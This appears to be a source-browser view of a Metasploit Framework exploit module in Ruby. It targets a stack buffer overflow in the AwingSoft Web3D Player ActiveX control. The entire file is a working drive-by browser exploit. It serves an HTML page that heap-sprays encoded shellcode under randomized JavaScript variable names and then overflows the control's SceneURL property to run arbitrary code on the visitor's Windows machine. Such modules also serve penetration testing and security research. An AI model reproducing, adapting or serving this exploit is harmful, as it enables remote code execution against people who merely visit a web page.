127 lines
4.1 KiB
Ruby
127 lines
4.1 KiB
Ruby
|
###
|
||
|
|
## This file is part of the Metasploit Framework and may be subject to
|
||
|
|
## redistribution and commercial restrictions. Please see the Metasploit
|
||
|
|
## Framework web site for more information on licensing and terms of use.
|
||
|
|
## http://metasploit.com/framework/
|
||
|
|
###
|
||
|
|
|
||
|
|
##
|
||
|
|
# awingsoft_web3d_bof.rb
|
||
|
|
#
|
||
|
|
# AwingSoft Web3D Player 'SceneURL()' Buffer Overflow exploit for the Metasploit Framework
|
||
|
|
#
|
||
|
|
# Tested successfully on the following platforms:
|
||
|
|
# - Internet Explorer 6, Windows XP SP2
|
||
|
|
# - Internet Explorer 7, Windows XP SP3
|
||
|
|
#
|
||
|
|
# WindsPly.ocx versions tested:
|
||
|
|
# - 3.5.0.0
|
||
|
|
#
|
||
|
|
# Trancer
|
||
|
|
# http://www.rec-sec.com
|
||
|
|
##
|
||
|
|
|
||
|
|
require 'msf/core'
|
||
|
|
|
||
|
|
class Metasploit3 < Msf::Exploit::Remote
|
||
|
|
|
||
|
|
include Msf::Exploit::Remote::HttpServer::HTML
|
||
|
|
|
||
|
|
def initialize(info = {})
|
||
|
|
super(update_info(info,
|
||
|
|
'Name' => 'AwingSoft Web3D Player SceneURL() Buffer Overflow',
|
||
|
|
'Description' => %q{
|
||
|
|
This module exploits a stack-based buffer overflow within Winds3D Viewer of
|
||
|
|
AwingSoft Awakening 3.0 (WindsPly.ocx v3.5.0.0). This ActiveX is a plugin of
|
||
|
|
AwingSoft Web3D Player.
|
||
|
|
By setting an overly long value to 'SceneURL()', an attacker can overrun a buffer
|
||
|
|
and execute arbitrary code.
|
||
|
|
},
|
||
|
|
'License' => MSF_LICENSE,
|
||
|
|
'Author' =>
|
||
|
|
[
|
||
|
|
'shinnai <shinnai[at]autistici[dot]org>', # Original exploit [see References]
|
||
|
|
'Trancer <mtrancer[at]gmail.com>' # Metasploit implementation
|
||
|
|
],
|
||
|
|
'Version' => '$Revision:$',
|
||
|
|
'References' =>
|
||
|
|
[
|
||
|
|
[ 'URL', 'http://www.milw0rm.com/exploits/9116' ],
|
||
|
|
[ 'URL', 'http://www.shinnai.net/xplits/TXT_nsGUdeley3EHfKEV690p.html' ],
|
||
|
|
],
|
||
|
|
'DefaultOptions' =>
|
||
|
|
{
|
||
|
|
'EXITFUNC' => 'process',
|
||
|
|
},
|
||
|
|
'Payload' =>
|
||
|
|
{
|
||
|
|
'Space' => 1024,
|
||
|
|
'BadChars' => "\x00\x09\x0a\x0d'\\",
|
||
|
|
'StackAdjustment' => -3500,
|
||
|
|
},
|
||
|
|
'Platform' => 'win',
|
||
|
|
'Targets' =>
|
||
|
|
[
|
||
|
|
[ 'Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0', { 'Ret' => 0x0C0C0C0C, 'Offset' => 8704 } ]
|
||
|
|
],
|
||
|
|
'DisclosureDate' => 'Jul 10 2009',
|
||
|
|
'DefaultTarget' => 0))
|
||
|
|
end
|
||
|
|
|
||
|
|
def on_request_uri(cli, request)
|
||
|
|
|
||
|
|
# Re-generate the payload
|
||
|
|
return if ((p = regenerate_payload(cli)) == nil)
|
||
|
|
|
||
|
|
# Encode the shellcode
|
||
|
|
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
|
||
|
|
|
||
|
|
# Setup exploit buffers
|
||
|
|
nops = Rex::Text.to_unescape([target.ret].pack('V'))
|
||
|
|
ret = Rex::Text.uri_encode([target.ret].pack('L'))
|
||
|
|
blocksize = 0x40000
|
||
|
|
fillto = 500
|
||
|
|
offset = target['Offset']
|
||
|
|
|
||
|
|
# Randomize the javascript variable names
|
||
|
|
winds3d = rand_text_alpha(rand(100) + 1)
|
||
|
|
j_shellcode = rand_text_alpha(rand(100) + 1)
|
||
|
|
j_nops = rand_text_alpha(rand(100) + 1)
|
||
|
|
j_ret = rand_text_alpha(rand(100) + 1)
|
||
|
|
j_headersize = rand_text_alpha(rand(100) + 1)
|
||
|
|
j_slackspace = rand_text_alpha(rand(100) + 1)
|
||
|
|
j_fillblock = rand_text_alpha(rand(100) + 1)
|
||
|
|
j_block = rand_text_alpha(rand(100) + 1)
|
||
|
|
j_memory = rand_text_alpha(rand(100) + 1)
|
||
|
|
j_counter = rand_text_alpha(rand(30) + 2)
|
||
|
|
j_buf = rand_text_alpha(offset)
|
||
|
|
|
||
|
|
html = %Q|<html>
|
||
|
|
<object classid='clsid:17A54E7D-A9D4-11D8-9552-00E04CB09903' id='#{winds3d}'></object>
|
||
|
|
<script>
|
||
|
|
#{j_shellcode}=unescape('#{shellcode}');
|
||
|
|
#{j_nops}=unescape('#{nops}');
|
||
|
|
#{j_headersize}=20;
|
||
|
|
#{j_slackspace}=#{j_headersize}+#{j_shellcode}.length;
|
||
|
|
while(#{j_nops}.length<#{j_slackspace})#{j_nops}+=#{j_nops};
|
||
|
|
#{j_fillblock}=#{j_nops}.substring(0,#{j_slackspace});
|
||
|
|
#{j_block}=#{j_nops}.substring(0,#{j_nops}.length-#{j_slackspace});
|
||
|
|
while(#{j_block}.length+#{j_slackspace}<#{blocksize})#{j_block}=#{j_block}+#{j_block}+#{j_fillblock};
|
||
|
|
#{j_memory}=new Array();
|
||
|
|
for(#{j_counter}=0;#{j_counter}<#{fillto};#{j_counter}++)#{j_memory}[#{j_counter}]=#{j_block}+#{j_shellcode};
|
||
|
|
|
||
|
|
var #{j_ret} = unescape('#{ret}');
|
||
|
|
#{winds3d}.SceneURL = '#{j_buf}' + #{j_ret};
|
||
|
|
</script>
|
||
|
|
</html>|
|
||
|
|
|
||
|
|
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
|
||
|
|
|
||
|
|
# Transmit the response to the client
|
||
|
|
send_response(cli, html, { 'Content-Type' => 'text/html' })
|
||
|
|
|
||
|
|
# Handle the payload
|
||
|
|
handler(cli)
|
||
|
|
end
|
||
|
|
end
|